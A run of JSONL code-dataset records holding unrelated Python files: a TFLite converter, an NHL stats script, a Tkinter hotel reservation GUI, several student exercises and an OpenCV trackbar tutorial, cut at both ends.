unittest.main()\n","repo_name":"jakubopatowski/wolverine","sub_path":"test_makefileparser.py","file_name":"test_makefileparser.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"15395879341","text":"import tensorflow as tf\nimport os\n\n# Enable GPU Memory Growth\nphysical_devices = tf.config.list_physical_devices('GPU')\ntf.config.experimental.set_memory_growth(physical_devices[0], True)\n\ninput_model_path = os.path.join(\"model/model-unet.h5\")\noutput_model_path = os.path.join(\"model/model-unet.tflite\")\n\n# Metric Function\nclass MaxMeanIoU(tf.keras.metrics.MeanIoU):\n def update_state(self, y_true, y_pred, sample_weight=None):\n return super().update_state(tf.argmax(y_true, axis=-1), tf.argmax(y_pred, axis=-1), sample_weight)\n\n# Loss Function\ndef dice_loss(y_true, y_pred, num_classes=2):\n smooth=tf.keras.backend.epsilon()\n dice=0\n for index in range(num_classes):\n y_true_f = tf.keras.backend.flatten(y_true[:,:,:,index])\n y_pred_f = tf.keras.backend.flatten(y_pred[:,:,:,index])\n intersection = tf.keras.backend.sum(y_true_f * y_pred_f)\n union = tf.keras.backend.sum(y_true_f) + tf.keras.backend.sum(y_pred_f)\n dice += (intersection + smooth) / (union + smooth)\n return -2./num_classes * dice\n\n# Load model\nmodel = tf.keras.models.load_model(input_model_path, custom_objects={'dice_loss': dice_loss, 'MaxMeanIoU': MaxMeanIoU})\n\n# Converting a tf.Keras model to a TensorFlow Lite model.\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\ntflite_model = converter.convert()\n\n# Save the model.\nwith open(output_model_path, 'wb') as f:\n f.write(tflite_model)\n","repo_name":"agtbaskara/horizon-uav","sub_path":"convert_to_tflite.py","file_name":"convert_to_tflite.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"41852911654","text":"import requests\nimport csv\nimport datetime\nimport pandas as pd\n\nprint(\"==================================Get Truth====================================\")\ndf = pd.DataFrame(columns=[\"Name\", \"PPG_W\"])\ntoday = datetime.datetime.today()\n\n# Sunday\nendDate = today\n\n# endDate = today - datetime.timedelta(days=today.weekday()) - datetime.timedelta(hours=today.hour) - datetime.timedelta(minutes=today.minute) - datetime.timedelta(seconds=today.second) - datetime.timedelta(microseconds=today.microsecond)\nstartDate = endDate - datetime.timedelta(days=7)\n\nwith open('data/players.csv', mode ='r') as playersFile:\n playerReader = csv.reader(playersFile)\n for player in playerReader:\n if player[2] != 'G':\n print(\"Parsing player: \" + player[1])\n response = requests.get('https://statsapi.web.nhl.com/api/v1/people/' + player[0] + '/stats?stats=gameLog&season=20212022')\n res = response.json()\n resultPPG = 0\n\n gameList = list(res['stats'][0]['splits'])\n gameList.reverse()\n \n # For game in week X\n for game in gameList:\n if (datetime.datetime.strptime(game['date'], '%Y-%m-%d')) < endDate and (datetime.datetime.strptime(game['date'], '%Y-%m-%d')) >= startDate:\n resultPPG += game['stat']['powerPlayGoals']\n\n df.loc[len(df)] = [player[1]] + [resultPPG]\n\n \nsorted = df.sort_values(['PPG_W'], ascending=[False]).loc[:, [\"Name\", \"PPG_W\"]]\nprint(sorted.head(30)) \nsorted['PPG_W'] = df['PPG_W'].astype(int)\n\nwith open(\"data/truth.csv\", \"a\") as f:\n writer = csv.writer(f)\n writer.writerow(['==================================NEW_WEEK===================================='])\n for player in sorted.nlargest(10, ['PPG_W'], keep='all').itertuples():\n writer.writerow([player[1]])\n\nprint(\"Data saved to truth.csv!\")\n","repo_name":"Harin329/Haockey","sub_path":"analysis/getTruth.py","file_name":"getTruth.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40751238300","text":"#Jonathan Ingram\n#CSE 222\n#Floor Plans\n#User will be prompted with two option lists to decide which room they will be reserving\n#the purchase button is then only enabled when all three option menus are filled\n#with the users room selection \n\n\n\nfrom tkinter import *\nfrom tkinter import messagebox\n\nimport os\n\nimport startUp\n\nimport login #to get the current user\n\nimport reciept\n\n\n#Floor Plan window Class \n\nclass Floor_Plan_Window():\n\n def __init__(self, master):\n \n\n self.master = master\n master.minsize(width = 500, height = 350) #Setting Window size\n master.title(\"Rest-A-While\")\n master.configure(bg=\"#333130\")\n\n hotelPhoto = PhotoImage(file = \"Images/hotelLayout.png\")\n\n hotelLayoutLabel = Label(image = hotelPhoto)\n\n hotelLayoutLabel.image = hotelPhoto\n\n hotelLayoutLabel.grid(row=1, column=2)\n\n #check if a room is alredy reserved here so that the option doesnt show\n\n \n def showReceipt():\n startUp.StartUpWindow.__init__.cancelButton.destroy()\n \n\n def purchaseRoomSelection(*args):\n\n #get the values from each of the\n #drop down menus when submit button is clicked\n room = roomOption_var.get()\n floor = floorOption_var.get()\n\n #print selctions to consle\n print(\"Floor: \" + floor)\n print(\"Room: \" + room)\n \n #store the price for every room sold\n \n \n \n \n \n\n soldOut = False\n\n currentPrice = 0\n\n if(soldOut == False):\n \n print(\"Reservation Made\")\n\n\n #Varables for stroring how many of each type of room\n #stored in NumOfRoomsReserved.xls\n\n\n #store values from excel file on to variables\n\n #Number of rooms for each room type on each floor\n floor1KingRooms = 4\n floor2KingRooms = 4\n floor3KingRooms = 4\n\n floor1TwinRooms = 2\n floor2TwinRooms = 2\n floor3TwinRooms = 2\n\n floor1DKingRooms = 4\n floor2DKingRooms = 4\n floor3DKingRooms = 4\n\n floor1CornerKingRooms = 4\n floor2CornerKingRooms = 4\n floor3CornerKingRooms = 4\n\n floor1CornerSuites = 2\n floor2CornerSuites = 2\n floor3CornerSuites = 2\n\n isRoomBought = False #bool is set false until at least\n\n startRoomNums = [4, 4, 4,\n 2, 2, 2,\n 4, 4, 4,\n 4, 4, 4,\n 2, 2, 2]\n\n noF1KingRooms = False\n noF2KingRooms = False\n noF3KingRooms = False\n\n noF1TwinRooms = False\n noF2TwinRooms = False\n noF3TwinRooms = False\n\n noF1DeluxeKingRooms = False\n noF2DeluxeKingRooms = False\n noF3DeluxeKingRooms = False\n\n noF1CornerKingRooms = False\n noF2CornerKingRooms = False\n noF3CornerKingRooms = False\n\n noF1CornerSuites = False\n noF2CornerSuites = False\n noF3CornerSuites = False\n\n #List to put in file\n with open(\"File Handling/startRoomNums.txt\", \"r\") as f:\n startRoomNums = f.read()\n f.close()\n print(\"Starting room amounts:\")\n print(startRoomNums)\n\n #if no rooms have been rerserved load the origonal list of rooms\n with open(\"File Handling/updatedRoomNums.txt\", \"r\") as fp:\n newRoomNums = fp.read()\n newRoomNums = [int(x) for x in newRoomNums.split()]\n fp.close()\n print(\"updated Room nums before procedure:\")\n print(newRoomNums)\n\n \n \n \n\n\n\n floorAroom = floor + \" \" + room\n roomIsReserved = False\n\n if(floorAroom == \"Floor 1 King Room\"):\n \n if(newRoomNums[0] != 0):\n print(\"King Room purchased\")\n newRoomNums[0] = newRoomNums[0] - 1\n roomIsReserved = True\n print(newRoomNums[0])\n currentPrice = 59\n\n elif (newRoomNums[0] <= 0):\n print(\"No more King Rooms on floor 1\")\n noF1KingRooms = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more King Rooms available on floor 1\")\n\n\n elif(floorAroom == \"Floor 2 King Room\"):\n\n if(newRoomNums[1] != 0):\n newRoomNums[1] = newRoomNums[1] - 1\n roomIsReserved = True\n print(floor2KingRooms)\n currentPrice = 59\n\n elif (newRoomNums[1] <= 0):\n print(\"No more King Rooms on floor 2\")\n noF2KingRooms = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more King Rooms available on floor 2\")\n\n elif(floorAroom == \"Floor 3 King Room\"):\n \n if(newRoomNums[2] != 0):\n newRoomNums[2] = newRoomNums[2] - 1\n print(floor3KingRooms)\n roomIsReserved = True\n currentPrice = 59\n\n elif(newRoomNums[2] <= 0):\n print(\"No more King Rooms on floor 3\")\n noF3KingRooms = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more King Rooms available on floor 3\")\n #Twin Room\n elif(floorAroom == \"Floor 1 Twin Room\"):\n \n if(newRoomNums[3] != 0):\n newRoomNums[3] = newRoomNums[3] - 1\n roomIsReserved = True\n print(floor1TwinRooms)\n currentPrice = 69\n \n\n elif(newRoomNums[3] <= 0):\n print((\"No more twin rooms on Floor 1\"))\n noF1TwinRooms = True \n messagebox.showinfo(\"Room Taken\",\n \"There are no more Twin Rooms available on floor 1\") \n \n elif(floorAroom == \"Floor 2 Twin Room\"):\n \n if(newRoomNums[4] != 0):\n newRoomNums[4] = newRoomNums[4] - 1\n roomIsReserved = True\n print(floor2TwinRooms)\n currentPrice = 69\n\n elif (newRoomNums[4] <= 0):\n print(\"No more Twin Rooms on Floor 2\")\n noF2TwinRooms = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more Twin Rooms available on floor 2\") \n\n \n elif(floorAroom == \"Floor 3 Twin Room\"):\n\n if(newRoomNums[5] != 0) :\n newRoomNums[5] = newRoomNums[5] - 1\n roomIsReserved = True\n print(floor3TwinRooms)\n currentPrice = 69\n\n elif (newRoomNums[5] <= 0):\n print(\"No more Twin Rooms on floor 3\")\n noF3TwinRooms = True \n messagebox.showinfo(\"Room Taken\",\n \"There are no more Twin Rooms available on floor 3\") \n #Deluxe King Room\n elif(floorAroom == \"Floor 1 Deluxe King Room\"):\n \n if(newRoomNums[6] != 0):\n newRoomNums[6] = newRoomNums[6] - 1\n roomIsReserved = True\n print(floor1DKingRooms)\n currentPrice = 75\n\n elif (newRoomNums[6] <= 0):\n print(\"No more Deluxe King Rooms on Floor 1\")\n noF1DeluxeKingRooms = True \n messagebox.showinfo(\"Room Taken\",\n \"There are no more Deluxe King Rooms available on floor 1\") \n elif(floorAroom == \"Floor 2 Deluxe King Room\"):\n\n if(newRoomNums[7] != 0):\n newRoomNums[7] = newRoomNums[7] - 1\n roomIsReserved = True\n print(floor2DKingRooms)\n currentPrice = 75 \n\n elif(newRoomNums[7] <= 0):\n print(\"No more Dexluxe King Rooms on floor 2\")\n noF2DeluxeKingRooms = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more Deluxe King Rooms available on floor 2\") \n elif(floorAroom == \"Floor 3 Deluxe King Room\"):\n\n if(newRoomNums[8] != 0):\n newRoomNums[8] = newRoomNums[8] - 1 \n roomIsReserved = True\n print(floor2DKingRooms)\n currentPrice = 75\n\n elif (newRoomNums[8] <= 0):\n print(\"No more Deluxe King Rooms on Floor 3\")\n noF3DeluxeKingRooms = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more Deluxe King Rooms available on floor 3\") \n #Corner King Room floor1CornerKingRooms\n elif(floorAroom == \"Floor 1 Corner King Room\"):\n\n if(newRoomNums[9] != 0):\n newRoomNums[9] = newRoomNums[9] - 1\n roomIsReserved = True\n print(floor1CornerKingRooms)\n currentPrice = 90 \n\n elif(newRoomNums[9] <= 0):\n print(\"No more Corner King Rooms on Floor 1\")\n noF1CornerKingRooms = True \n messagebox.showinfo(\"Room Taken\",\n \"There are no more Corner King Rooms available on floor 1\") \n\n elif(floorAroom == \"Floor 2 Corner King Room\"):\n\n if(newRoomNums[10] != 0):\n newRoomNums[10] = newRoomNums[10] - 1\n roomIsReserved = True\n print(floor2CornerKingRooms)\n currentPrice = 90\n\n elif(newRoomNums[10] <= 0):\n print(\"No more Corner King Rooms on Floor 2\") \n noF2CornerKingRooms = True \n messagebox.showinfo(\"Room Taken\",\n \"There are no more Corner King Rooms available on floor 2\") \n\n elif(floorAroom == \"Floor 3 Corner King Room\"):\n\n if(newRoomNums[11] != 0):\n newRoomNums[11] = newRoomNums[11] - 1\n roomIsReserved = True\n print(floor3CornerKingRooms)\n currentPrice = 90\n\n elif(newRoomNums[11] <= 0):\n print(\"No more Corner King Rooms on Floor 3\") \n noF3CornerKingRooms = True \n messagebox.showinfo(\"Room Taken\",\n \"There are no more Corner King Rooms available on floor 2\")\n\n #Corner Suite\n elif(floorAroom == \"Floor 1 Corner Suite\"):\n\n if(newRoomNums[12] != 0):\n newRoomNums[12] = newRoomNums[12] - 1\n roomIsReserved = True\n print(floor1CornerSuites)\n currentPrice = 110 \n\n elif(newRoomNums[12] <= 0):\n print(\"No more Corner Suites on Floor 1\")\n noF1CornerSuites = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more Corner Suites available on floor 1\") \n\n elif(floorAroom == \"Floor 2 Corner Suite\"):\n\n if(newRoomNums[13] != 0):\n newRoomNums[13] = newRoomNums[13] - 1\n roomIsReserved = True\n print(floor2CornerSuites)\n currentPrice = 110\n\n elif(newRoomNums[13] <= 0):\n print(\"No more Corner Suites on Floor 2\")\n noF2CornerSuites = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more Corner Suites available on floor 2\") \n \n elif(floorAroom == \"Floor 3 Corner Suite\"):\n\n if(newRoomNums[14] != 0):\n newRoomNums[14] = newRoomNums[14] - 1\n roomIsReserved = True\n print(floor3CornerSuites)\n currentPrice = 110\n\n elif(newRoomNums[14] <= 0):\n print(\"No more Corner Suites on Floor 3\")\n noF3CornerSuites = True\n messagebox.showinfo(\"Room Taken\",\n \"There are no more Corner Suites available on floor 3\") \n \n\n #ask for receipt\n if(roomIsReserved == True): #bool to check if a room was sucessfully reserved\n receipt = messagebox.askquestion(\"receipt?\",\n \"Do you want a receipt emailed to you?\") #email to be implimented\n \n\n print(newRoomNums)\n\n if (receipt == \"yes\"): #yes is given when the yes button is clicked\n print(\"Receipt will be sent\")\n print(newRoomNums)\n\n with open(\"File Handling/updatedRoomNums.txt\", \"w\") as f: #write to file once values are updated\n for i in newRoomNums:\n f.write(str(i) + \"\\n\") #write the new values as a string\n \n\n with open(\"File Handling/totalPrice.txt\", \"r\") as fp:\n totalPrice = fp.read()\n fp.close()\n totalPrice = int(totalPrice)\n totalPrice = totalPrice + currentPrice\n\n with open(\"File Handling/totalPrice.txt\", \"w\") as fi:\n fi.write(str(totalPrice))\n\n fi.close()\n\n with open(\"File Handling/currentPrice.txt\", \"w\") as fo:\n fo.write(str(currentPrice))\n\n fo.close()\n\n\n\n print(\"Number of King Rooms left on Floor 1: \" + str(newRoomNums[0]))\n print(\"Number of King Rooms left on Floor 2: \" + str(newRoomNums[1]))\n print(\"Number of King Rooms left on Floor 3: \" + str(newRoomNums[2]))\n\n print(\"Number of Twin Rooms left on Floor 1: \" + str(newRoomNums[3]))\n print(\"Number of Twim Rooms left on Floor 2: \" + str(newRoomNums[4]))\n print(\"Number of Twim Rooms left on Floor 3: \" + str(newRoomNums[5]))\n\n print(\"Number of Deluxe King Rooms left on Floor 1: \" + str(newRoomNums[6]))\n print(\"Number of Deluxe King Rooms left on Floor 2: \" + str(newRoomNums[7]))\n print(\"Number of Deluxe King Rooms left on Floor 3: \" + str(newRoomNums[8]))\n\n print(\"Number of Corner King Rooms left on Floor 1: \" + str(newRoomNums[9]))\n print(\"Number of Corner King Rooms left on Floor 2: \" + str(newRoomNums[10]))\n print(\"Number of Corner King Rooms left on Floor 3: \" + str(newRoomNums[11]))\n\n print(\"Number of Corner Suites left on Floor 1: \" + str(newRoomNums[12]))\n print(\"Number of Corner Suites left on Floor 2: \" + str(newRoomNums[13]))\n print(\"Number of Corner Suites left on Floor 3: \" + str(newRoomNums[14])) \n\n\n \n\n #destroy all widgets to exept the \n #cancel button in order to display the receipt\n purchaseRoomButton.destroy()\n floorOption_menu.destroy()\n roomOption_menu.destroy()\n\n\n\n #receipt text\n thankYouLabel = Label(text=\"Thank You for Choosing to Stay with Rest-A-While Hotel\",\n font=16,\n bg=\"#333130\", fg=\"WHITE\")\n thankYouLabel.grid(row=2, column=2)\n\n master.destroy()\n\n\n else:\n #no receipt\n messagebox.showinfo(\"Receipt\",\n \"No receipt will be sent\")\n\n \n\n \n\n#placeholder GUI until I pop off roomData once it is reserved \n\n #get the room that was already reserved\n\n \n \n \n #Changes room image\n def changeImage(*args):\n room = roomOption_var.get()\n floor = floorOption_var.get()\n print(room)\n \n\n\n #Once a room is selected the user is show a preview of the room prior to them \n #clicking the submit button\n #likely a better way to engineer this as it is repetative with all of \n #the if statements\n\n if(room == \"King Room\"):\n hotelLayoutLabel.destroy()\n\n KingRLabel = Label(text=\"The cost of a King Room is $59.00 per night\",\n bg=\"#333130\", fg=\"WHITE\")\n KingRLabel.grid(row=2, column=2)\n\n\n #Images\n hotelPhoto = PhotoImage(file = \"Images/bedroom.png\")\n\n KingRoomLabelI = Label(image = hotelPhoto)\n\n KingRoomLabelI.image = hotelPhoto\n\n KingRoomLabelI.grid(row=1, column=2)\n \n\n elif(room == \"Twin Room\"):\n hotelLayoutLabel.destroy()\n\n TwinRLabel = Label(text=\"The cost of a Twin Room is $69.00 per night\",\n bg=\"#333130\", fg=\"WHITE\")\n TwinRLabel.grid(row=2, column=2)\n\n hotelPhoto = PhotoImage(file = \"Images/bedroom1.png\")\n\n TwinRoomLabelI = Label(image = hotelPhoto)\n\n TwinRoomLabelI.image = hotelPhoto\n\n TwinRoomLabelI.grid(row=1, column=2)\n\n elif(room == \"Deluxe King Room\"):\n hotelLayoutLabel.destroy()\n\n DeluxeKingRLabel = Label(text=\"The cost of a Dexluxe King Room is $75 per night\",\n bg=\"#333130\", fg=\"WHITE\")\n DeluxeKingRLabel.grid(row=2, column=2)\n\n hotelPhoto = PhotoImage(file = \"Images/bedroom2.png\")\n\n DeluxeKingRoomLabelI = Label(image = hotelPhoto)\n\n DeluxeKingRoomLabelI.image = hotelPhoto\n\n DeluxeKingRoomLabelI.grid(row=1, column=2)\n\n elif(room == \"Corner Room\"):\n hotelLayoutLabel.destroy()\n\n CornerRLabel = Label(text=\"The cost of a Corner Room is $75 per night\",\n bg=\"#333130\", fg=\"WHITE\")\n \n CornerRLabel.grid(row=2, column=2)\n\n hotelPhoto = PhotoImage(file = \"Images/bedroom3.png\")\n\n CornerRoomLabelI = Label(image = hotelPhoto)\n\n CornerRoomLabelI.image = hotelPhoto\n\n CornerRoomLabelI.grid(row=1, column=2)\n\n elif(room == \"Corner King Room\"):\n hotelLayoutLabel.destroy()\n\n CornerKingRLabel = Label(text=\"The cost of a Corner King Room is $90 per night\",\n bg=\"#333130\", fg=\"WHITE\")\n\n CornerKingRLabel.grid(row=2, column=2)\n \n\n hotelPhoto = PhotoImage(file = \"Images/bedroom4.png\")\n\n CornerKingRoomLabelI = Label(image = hotelPhoto)\n\n CornerKingRoomLabelI.image = hotelPhoto\n\n CornerKingRoomLabelI.grid(row=1, column=2)\n\n elif(room == \"Corner Suite\"):\n hotelLayoutLabel.destroy()\n\n CornerSuiteLabel = Label(text=\"The cost of a Corner Suite is $110 per night\",\n bg=\"#333130\", fg=\"WHITE\")\n CornerSuiteLabel.grid(row=2, column=2)\n\n hotelPhoto = PhotoImage(file = \"Images/bedroom5.png\")\n\n CornerKingRoomLabelI = Label(image = hotelPhoto)\n\n CornerKingRoomLabelI.image = hotelPhoto\n\n CornerKingRoomLabelI.grid(row=1, column=2)\n \n\n\n #Creating Labels \n\n headerLabel = Label(master, text=\"Rest-A-While\", fg=\"WHITE\",\n bg=\"#333130\", font=(\"Courier\", 20))\n headerLabel.grid(row=1,column=1)\n\n\n #creating buttons\n\n purchaseRoomButton = Button(text=\"Purchase\", bg=\"BLACK\", fg=\"WHITE\",\n height=3, width=15,\n activebackground=\"#4d231f\",\n command=purchaseRoomSelection,\n state=DISABLED)\n purchaseRoomButton.grid(row=7, column=1)\n\n\n #Creating Drop Down Menus\n\n\n #floorOptionList\n\n def normalRoomOptionMenu(*args): #pass in if a room is already reserved\n \n floorO = floorOption_var.get()\n\n if (floorO == \"Floor 1\"\\\n or floorO == \"Floor 2\"\\\n or floorO == \"Floor 3\"):\n\n roomOption_menu.configure(state=NORMAL)\n\n def normalSectionOptionMenu(*args):\n\n roomO = roomOption_var.get()\n\n if (roomO == \"King Room\"\\\n or roomO == \"Twin Room\"\\\n or roomO == \"Deluxe King Room\"\\\n or roomO == \"Corner King Room\"\\\n or roomO == \"Corner Suite\"):\n\n purchaseRoomButton.configure(state=NORMAL)\n\n floorOptionList = (\"Floor 1\", \"Floor 2\", \"Floor 3\")\n\n floorOption_var = StringVar()\n\n floorOption_var.set(\"Floor Selection\") #set to the fisrt value in the drop down menu\n \n floorOption_menu = OptionMenu(master, floorOption_var, *floorOptionList, command=normalRoomOptionMenu)\n floorOption_menu.grid(row = 3, column = 2, sticky=\"W\")\n floorOption_menu.configure(bg=\"BLACK\", fg=\"WHITE\",\n width = 15, height = 2,\n bd=3, #items within the menu's width\n activebackground=\"#4d231f\")\n\n\n\n #Room option list\n\n roomOptionList = (\"King Room\", \"Twin Room\", \"Deluxe King Room\",\n \"Corner Room\", \"Corner King Room\", \"Corner Suite\")\n\n roomOption_var = StringVar()\n roomOption_var.set(\"Room Selection\") #set to the fisrt value in the drop down menu\n roomOption_var.trace(\"w\", changeImage)\n \n roomOption_menu = OptionMenu(master, roomOption_var, *roomOptionList, command=normalSectionOptionMenu)\n roomOption_menu.grid(row = 3, column = 2, sticky = \"E\") \n roomOption_menu.configure(bg=\"BLACK\", fg=\"WHITE\",\n width = 15, height = 2,\n activebackground=\"#4d231f\",\n bd=3,\n state=DISABLED)\n","repo_name":"JonathanTIngram/PythonTkinterProject","sub_path":"floorPlan.py","file_name":"floorPlan.py","file_ext":"py","file_size_in_byte":25979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73489142168","text":"# Lista de Exercícios em Linguagem Python - Comandos Condicionais (UFU-FACOM)\n# 8. Faça um programa que leia 2 notas de um aluno, verifique se as notas são válidas e exiba na tela a média destas notas.\n# Uma nota válida deve ser, obrigatoriamente, um valor entre 0.0 e 10.0, onde caso a nota não possua um valor válido,\n# este fato deve ser informado ao usuário e o programa termina.\n\nnota1 = float(input(\"Digite a primeira nota: \"))\nif nota1 < 0 or nota1 > 10:\n print(\"A primeira nota digitada não possui um valor válido\")\nelif nota1 >= 0 and nota1 <= 10:\n nota2 = float(input(\"Digite a segunda nota: \"))\n if nota2 < 0 or nota2 > 10:\n print(\"A segunda nota digitada não possui um valor válido\")\n elif nota2 >= 0 and nota2 <= 10:\n media = (nota1 + nota2) / 2\n print(f\"A média das notas digitadas é: {media:.2f}\")","repo_name":"thiagomvilela/IntroductionToProgramming","sub_path":"03 Exercises - Conditional Commands/Conditional Commands - Exercise 08.py","file_name":"Conditional Commands - Exercise 08.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37922660258","text":"from typing import List\nfrom bs4 import BeautifulSoup\nimport requests\nimport string\n\nplayers_template = string.Template('https://www.fantrax.com/newui/EPL/players.go?ltr=${letter}')\nplayer_template = string.Template('https://www.fantrax.com/player/${player_id}/vq6dn98pkrutq54c/${player_name}/o5068s8hkrutq54h')\n\ndef get_players(begin_letter: str = 'A', end_letter: str = 'Z') -> List:\n players = []\n begin_index = string.ascii_uppercase.index(begin_letter)\n end_index = string.ascii_uppercase.index(end_letter) + 1 \n for letter in string.ascii_uppercase[begin_index:end_index]:\n r = requests.get(players_template.safe_substitute(letter = letter))\n soup = BeautifulSoup(r.text, 'html.parser')\n table = soup.find('table', class_='sportsTable')\n for row in table.find_all('tr')[1:]:\n position = row.find_all('td')[1].text\n if position == 'G':\n continue ### Exclude keepers as they have a different set of data points\n td = row.find('td')\n onclick_attr = td.find('a').attrs['onclick']\n substring_start_loc = onclick_attr.find('\\'') + 1\n substring_end_loc = substring_start_loc + onclick_attr[substring_start_loc:].find('\\'')\n player_id = onclick_attr[substring_start_loc:substring_end_loc]\n player_name = td.text.lower().replace(' ', '-')\n player_url = player_template.safe_substitute(player_id = player_id, player_name = player_name)\n player = {\n 'name': td.text,\n 'position': position,\n 'url': player_url\n }\n players.append(player)\n return players","repo_name":"wjrm500/fantrax_scrape","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16447416562","text":"# 문자열을 뒤집어 회문인지 판단하는 함수\ndef is_palindrome(word):\n reverse_word = ''\n\n for i in range(len(word)-1, -1, -1):\n reverse_word += word[i]\n\n # 회문일 경우 True 반환하고 아닐 경우 False 반환\n return True if word == reverse_word else False\n\n\n# 행과 열을 탐색해 회문을 찾는 함수\ndef find_max_palindrome(text):\n\n # 회문의 길이를 정한다 100~1\n for m in range(100, 0, -1):\n for i in range(100):\n for j in range(100-m+1): # 회문의 길이만큼 구간을 잡는다.\n row_word = ''\n col_word = ''\n\n for k in range(m): # 구간을 순회하며 char 를 하나씩 추가한다.\n row_word += text[i][j+k]\n col_word += text[j+k][i]\n\n # 행, 열 중에서 회문을 찾았을 경우 그 회문의 길이가 최댓값\n if is_palindrome(row_word) or is_palindrome(col_word):\n return m\n\n return -1 # 회문을 찾지 못했다.\n\n\nfor test_case in range(1, 10 + 1):\n tc = int(input())\n origin_text = [list(input()) for i in range(100)] # 글자판\n max_length = 0 # 회문의 최대 길이\n\n max_length = find_max_palindrome(origin_text)\n\n print('#{} {}'.format(tc, max_length))\n\n\n\n","repo_name":"charlie-jyj/APS","sub_path":"algorithm_homework/0218/SWEA_1216_회문2_정유진.py","file_name":"SWEA_1216_회문2_정유진.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70081909527","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n---\n# This is YAML, see: https://yaml.org/spec/1.2/spec.html#Preview\n# !!! YAML message always begins with ---\n\ntitle: Trackbar as the Color Palette\ntype: tutorial\nkeywords: [images]\ndescription: |\n Learn to bind trackbar to OpenCV windows\n You will learn these functions: cv.getTrackbarPos(), cv.createTrackbar() etc.\nremarks:\n - see the second source for using trackbars for thresholding\nsources:\n - title: Trackbar as the Color Palette\n link: https://docs.opencv.org/4.x/d9/dc8/tutorial_py_trackbar.html\n - title: Image Thresholding\n link: https://docs.opencv.org/4.x/d7/d4d/tutorial_py_thresholding.html\nfile:\n date: 2022-07-03\n author:\n - nick: arek\n\"\"\"\n\n#%%\nimport cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# os.chdir('~/Roboczy/Python/graphics/OpenCV')\nPICTURES = \"../../../../Data/pictures/\"\n\nfrom rcando import ak\n\n#%% Goal\n\"\"\"\nHere we will create a simple application which shows the color you specify.\nYou have a window which shows the color and three trackbars to specify each of B,G,R colors.\nYou slide the trackbar and correspondingly window color changes.\nBy default, initial color will be set to Black.\n\nFor cv.createTrackbar() function:\n\n createTrackbar(trackbarName, windowName, value, count, onChange) -> None\n\n1. argument is the trackbar name,\n2. is the window name to which it is attached,\n3. is the default value, !!!\n4. is the maximum value and\n5. is the callback function which is executed every time trackbar value changes.\n\nThe callback function always has a default argument which is the trackbar position.\nIn our case, function does nothing, so we simply pass.\n\nAnother important application of trackbar is to use it as a button or switch.\nOpenCV, by default, doesn't have button functionality.\nSo you can use trackbar to get such functionality.\nIn our application,\nwe have created one switch in which application works only if switch is ON,\notherwise screen is always black.\n\nHENCE:\n 1. trackbars operates only on integer values [0, count]\n (what is not stated explicitely)\n\"\"\"\n#%%\nimport numpy as np\nimport cv2 as cv\n\ndef nothing(x):\n pass\n\n# Create a black image, a window\nimg = np.zeros((300, 512, 3), np.uint8)\ncv.namedWindow('image')\n\n# create trackbars for color change\n## createTrackbar(trackbarName, windowName, value, count, onChange) -> None\ncv.createTrackbar('R', 'image', 0, 255, nothing)\ncv.createTrackbar('G', 'image', 0, 255, nothing)\ncv.createTrackbar('B', 'image', 0, 255, nothing)\n\n# create switch for ON/OFF functionality\nswitch_name = '0 : OFF \\n1 : ON'\ncv.createTrackbar(switch_name, 'image', 0, 1, nothing)\n\nwhile(1):\n cv.imshow('image', img)\n k = cv.waitKey(1) & 0xFF\n if k == 27:\n break\n # get current positions of four trackbars\n r = cv.getTrackbarPos('R', 'image')\n g = cv.getTrackbarPos('G', 'image')\n b = cv.getTrackbarPos('B', 'image')\n s = cv.getTrackbarPos(switch_name, 'image')\n\n if s == 0:\n img[:] = 0\n else:\n img[:] = [b, g, r]\n\ncv.destroyAllWindows()\n\n\n#%%\n","repo_name":"RCanDo/Python","sub_path":"graphics/OpenCV/01-Basics/04-trackbars.py","file_name":"04-trackbars.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1033100555","text":"mydict={\n \"brand\":\"Ford\",\n \"model\":\"Mustang\",\n \"year\":\"2016\"\n}#Dict-in yaradilmasi\nmydict[\"colour\"]= \"red\"#Dict-ə elementin elave olunmasi\nprint(mydict)\nprint(mydict)\nx=mydict[\"model\"]#model-in ekrana cixarilmasi\nprint(x)\nmydict[\"year\"]=2018#Dict-ə key-value-nin elave olunmasi\nprint(mydict)\nfor x in mydict:\n print(mydict)#Dict-i dovre salmaq\nfor x in mydict:\n print(mydict[x])#Value-lari ekrana cixarmaq\nfor x in mydict.values():\n print(x)#Value-lari ekrana cixarmanin diger yolu\nfor x in mydict.keys():\n print(x)#Keys-leri ekrana cixarmaq\nfor x,y in mydict.items():\n print(x,y)#Dict-in butun key-value-lari ekrana cixarmaq\nif \"model\" in mydict:\n print(\"Yes,'model' is one of the keys in mydict\")#Daxil edilen key-in olub olmamasini yoxlamaq\nprint(len(mydict))#Dict-in nece elementden ibaret oldugunu yoxlamaq\nmydict[\"colour\"]= \"red\"\nprint(mydict)#Dict-e key-value cutunu elave etmek\nmydict.pop(\"year\")\nprint(mydict)#year 